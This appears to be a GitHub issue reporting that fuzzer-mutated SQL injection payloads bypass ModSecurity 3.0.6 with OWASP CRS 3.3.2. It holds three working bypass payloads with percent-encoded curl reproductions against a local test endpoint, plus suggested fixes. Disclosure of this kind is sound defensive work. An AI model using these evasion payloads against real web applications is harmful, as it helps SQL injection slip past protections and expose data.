Skip to content

ModSecurity GET: SQLi bypass via scalar-expression and operator rewrites #3585

Description

@WAFSignal

[ModSecurity][GET] SQLi bypass via predicate/operator rewrites around scalar expressions and ordering predicates

Summary

  • WAF: ModSecurity
  • Request manner: GET
  • Defect pattern: Predicate/operator rewrites around scalar expressions and ordering predicates.
  • Evaluation scope: 623 unique SQLi mutation attempts; 357 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • swap_int_repr: rewrites integer literals as equivalent hexadecimal values or (SELECT n) expressions

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
...1));select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3 and ((8535=8535
  • Transformed payload excerpt, with invisible characters rendered explicitly:
0x1));/*=j{`*//*\\A>n*/count(*) /*r*/ domain.domains/**//*ixuU8*//*9i*/t1,domain.columns/*Sa#<VT>h*//*!aS*//*1E*/t2,domain.tables/**//*!as*//**/t3/**//*!and*/ (('gD'<>'gDn' OR False

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=0x1%29%29%3B%2F%2A%3Dj%7B%60%2A%2F%2F%2A%5CA%3En%2A%2Fcount%28%2A%29%20%2F%2Ar%2A%2F%20domain.domains%2F%2A%2A%2F%2F%2AixuU8%2A%2F%2F%2A9i%2A%2Ft1%2Cdomain.columns%2F%2ASa%23%0Bh%2A%2F%2F%2A%21aS%2A%2F%2F%2A1E%2A%2Ft2%2Cdomain.tables%2F%2A%2A%2F%2F%2A%21as%2A%2F%2F%2A%2A%2Ft3%2F%2A%2A%2F%2F%2A%21and%2A%2F%20%28%28%27gD%27%3C%3E%27gDn%27%20OR%20False'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
...n0xhnofy1' ) as mara where 7164 = 7164
  • Transformed payload excerpt, with invisible characters rendered explicitly:
n0xhnofy1'<LF>)<TAB><LF>As/*#w*/mara<LF>WHeRE<VT>1479<>1480<TAB>oR<LF>False

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=n0xhnofy1%27%0A%29%09%0AAs%2F%2A%23w%2A%2Fmara%0AWHeRE%0B1479%3C%3E1480%09oR%0AFalse'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
... select * from users where id = 1 or \\.<\\ or 1 = 1 -- 1
  • Transformed payload excerpt, with invisible characters rendered explicitly:
 /**/* FroMusers /*9#*/ id/**/ LiKE 1/**/oR<LF>\\.<\\ /*?~*/ 7119 LIKE 7119/**/OR False/**/-- 1'v

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=%20%2F%2A%2A%2F%2A%20FroMusers%20%2F%2A9%23%2A%2F%20id%2F%2A%2A%2F%20LiKE%201%2F%2A%2A%2FoR%0A%5C.%3C%5C%20%2F%2A%3F~%2A%2F%207119%20LIKE%207119%2F%2A%2A%2FOR%20False%2F%2A%2A%2F--%201%27v'

Suggested Fixes

  • Normalize SQL expressions before rule matching and detect semantically equivalent operators such as LIKE, NOT LIKE, <>, &&, boolean invariants, and wrapped scalar expressions.
  • Add regression coverage for ORDER BY <expr> and scalar-expression rewrites such as hexadecimal integers and (SELECT n) wrappers.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.xRelated to ModSecurity version 3.x

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions